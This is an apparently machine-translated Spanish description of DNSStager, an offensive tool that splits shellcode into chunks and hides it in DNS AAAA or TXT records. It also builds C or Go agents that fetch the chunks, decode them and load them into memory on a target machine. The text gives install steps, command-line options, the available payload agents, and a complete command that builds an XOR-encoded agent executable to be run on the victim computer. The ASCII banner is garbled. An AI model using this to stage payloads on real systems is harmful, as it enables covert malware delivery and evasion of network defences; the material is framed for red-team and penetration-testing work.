
DNSStager es un proyecto de código abierto basado en Python y se utiliza para ocultar y difundir su carga útil mediante DNS.
DNSStager crea un servidor DNS malicioso que procesa las solicitudes de DNS a su dominio y usa su carga útil en respuesta a ciertas solicitudes de registro, como AAAA
o TXT
Registros después de dividir en trozos y codificar la carga útil con diferentes algoritmos.
DNSStager puede generar un agente personalizado que se puede utilizar en. está escrito C
o GoLang
Eso resolverá una secuencia de dominios, recuperará la carga útil, la decodificará y finalmente la enviará a la memoria basándose en alguna técnica.
Puede editar el código del agente DNSStager como desee y crearlo utilizando sus propias técnicas de ejecución personalizadas.
El objetivo principal de usar DNSStager es ayudar a Red Teamers / Pentesters a implementar sus cargas útiles en un canal encubierto usando DNS.
¿Como funciona?
Según su opción de resolución de DNS, DNSStager dividirá su carga útil en secciones y almacenará cada sección de la carga útil como una respuesta para un subdominio.
Por ejemplo, si eliges IPV6
Como opción para obtener la carga útil, la respuesta de DNS es algo como:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Dónde 5648:31d2:6548:8b52:6048:8b52:1848:8b52
es parte de su carga útil.
Entonces, el agente resolverá algunos dominios para obtener la carga útil, luego la decodificará y finalmente la guardará en la memoria.
Actualmente, DNSStager solo admite dos conjuntos de datos, AAAA
y TXT
. Puede XOR su carga útil para eso AAAA
registro y base64 codificados de forma predeterminada si eliges TXT
Grabación.
Características principales de DNSStager
DNSStager tiene algunas características importantes como:
- Oculta y libera tu carga útil en formato. en
IPV6
Registros. - Oculta y libera tu carga útil en formato. en
TXT
Registros. - Codificador XOR para codificar su carga útil.
- Codificador Base64 para codificar sus datos de usuario (solo para entradas TXT).
- Agente puro escrito en
C
con la posibilidad de personalizarlo. - Agente puro escrito en
GoLang
con la posibilidad de personalizarlo. - La capacidad de utilizar la hibernación entre cada solicitud de DNS.
- ¡Y MUCHO MÁS POR VENIR!
requisito
Puede instalar los requisitos de Python para DNSStager a través de:
pip3 install -r requirements.txt
Necesitas instalar GoLang
ejecución 1.16.3
y asegúrese de instalar lo siguiente GoLang
Paquetes:
- golang.org/x/sys
- github.com/miekg/dns
Además, asegúrese de instalarlo ming-w64
sobre:
apt install mingw-w64
La secuencia de comandos setup.sh
debería hacer eso por usted, ¡pero verifique dos veces los requisitos antes de usarlo!
instalación
Para obtener la última versión de DNSStager, debe clonarlo desde este repositorio usando el siguiente comando:
git clone https://github.com/mhaskar/DNSStager
Luego, debe instalar los requisitos con el siguiente comando:
pip3 install -r requirements.txt
Y asegúrese de instalar también todos los requisitos anteriores.
Una vez que haya hecho todo esto, estará listo para ejecutar DNSStager como la raíz para obtener lo siguiente:
┌─[askar@hackbook]─[/opt/redteaming/DNSStager]
└──╼ $ sudo ./dnsstager.py
██████╗ºC ºC██████╗
██╔══██╗████╗██╔══██╗████╗ ██╔════╝██╔════╝
██║γ ██║γ
██║γ ██║γ
██████╔╝██║ºC ╚██████╔╝██████╗██║γ
╚═════╝ºC Elsius ╚═════╝
Versión Beta Oculte su carga útil en DNS
[-] Introduzca un nombre de dominio con –dominio. a
usar
Para comenzar a usar DNSStager, primero asegúrese de configurar su configuración de DNS. Debe apuntar su dominio a la instancia de DNSStager como un NS record
para procesar todas las solicitudes de DNS a su dominio.
Puede leer este artículo completo sobre cómo configurar y usar DNSStager.
Y puedes comprobar las opciones con -h
cambiar de la siguiente manera:
┌─[askar@hackbook]─[/opt/redteaming/DNSStager]
└──╼ $ sudo ./dnsstager.py -h
Uso: dnsstager.py [-h] [–domain DOMAIN] [–payloads] [–prefix PREFIX]
[–payload PAYLOAD] [–output OUTPUT]
[–shellcode_path SHELLCODE_PATH] [–xorkey XORKEY]
[–sleep SLEEP]
Analizador principal de DNSStager
argumentos opcionales:
-h, –help Muestra este mensaje de ayuda y sale
–Domain DOMAIN El dominio que desea utilizar como host de ensayo.
–Las cargas útiles muestran todas las cargas útiles
–Prefix PREFIX Prefijo que se utilizará como parte de su esquema de subdominio
–Payload PAYLOAD Carga útil que se utilizará, consulte –Cargas útiles para obtener más detalles
–Vía de salida del agente de salida OUTPUT
–Shellcode_path SHELLCODE_PATH
Ruta del archivo de Shellcode
–Clave Xorkey XORKEY XOR para cifrar su carga útil con
–Dormir SLEEP Dormir durante N segundos entre cada solicitud de DNS
- –Dominio: puede utilizar esta opción para seleccionar el dominio principal para el que está manejando las consultas de DNS.
- – Prefijo: el prefijo que desea utilizar para el esquema de subdominio. Por ejemplo, si su dominio principal
fakedns.live
Por ejemplo, puede especificar el prefijo como «cdn». Entonces, los dominios generados serán un patrón como este:cdn0.fakedns.live
cdn1.fakedns.live
cdnN.fakedns.live
Dónde N
Este número generado automáticamente representa el número de fragmentos en su carga útil.
- –Payload: el “agente” de la carga útil de DNSStager que desea generar en función de la tecnología, el lenguaje de programación y la arquitectura.
- –Output: Ruta de salida para guardar el payload DNSStager ejecutable «Agent».
- –Shellcode_path: usted
raw
/bin
Ruta de código de shell. - –Xorkey: clave XOR para cifrar los datos del usuario.
- –Sleep: se utiliza para dormir durante N segundos entre cada solicitud de DNS.
Cargas útiles de DNSStager
Para comprobar las cargas útiles de DNSStager disponibles, puede ./dnsstager.py --payloads
para obtener los siguientes resultados:
┌─[askar@hackbook]─[/opt/redteaming/DNSStager]
└──╼ $ sudo ./dnsstager.py –Payloads
[+] 6 cargas útiles de DNSStager disponibles
x64 / c / ipv6 Resuelva su carga útil como direcciones IPV6 xored con una clave personalizada sobre código x64 C compilado
x86 / c / ipv6 Resuelva su carga útil como direcciones IPv6 xored con una clave personalizada sobre código x86 C compilado
x64 / golang / txt Resuelva su carga útil como registros TXT codificados con código GoLang x64 compilado en base64
x64 / golang / ipv6 Resuelva su carga útil como direcciones IPv6 codificadas con una clave personalizada utilizando codificación de adición de bytes sobre el código GoLang x64 compilado
x86 / golang / txt Resuelva su carga útil como registros TXT codificados con código GoLang x86 compilado en base64
x86 / golang / ipv6 Resuelva su carga útil como direcciones IPV6 codificadas con una clave personalizada utilizando codificación de adición de bytes sobre el código GoLang x86 compilado
Ejemplo de uso de DNSStager con IPv6
Este ejemplo inicia DNSStager para resolver su carga útil como un IPV6
usa el dominio test.mydnsserver.live
con prefijo cloud-srv-
compilado para generar x64 C
Agente codificado con 0x10 como clave:
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
Y la salida será:

Y para comprobar que todo está funcionando bien, enviamos una consulta de DNS a cloud-srv-0.test.mydnsserver.live
para obtener lo siguiente:

Podemos ver que recibimos f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b
en respuesta, que son los primeros 16 bytes de nuestra carga útil codificada.
Entonces puedes ejecutar el agente /tmp/a2.exe
(como se especifica en el uso de –output en la línea de comando) en la computadora de destino y eso descargará los fragmentos necesarios, los decodificará y los guardará en la memoria por usted.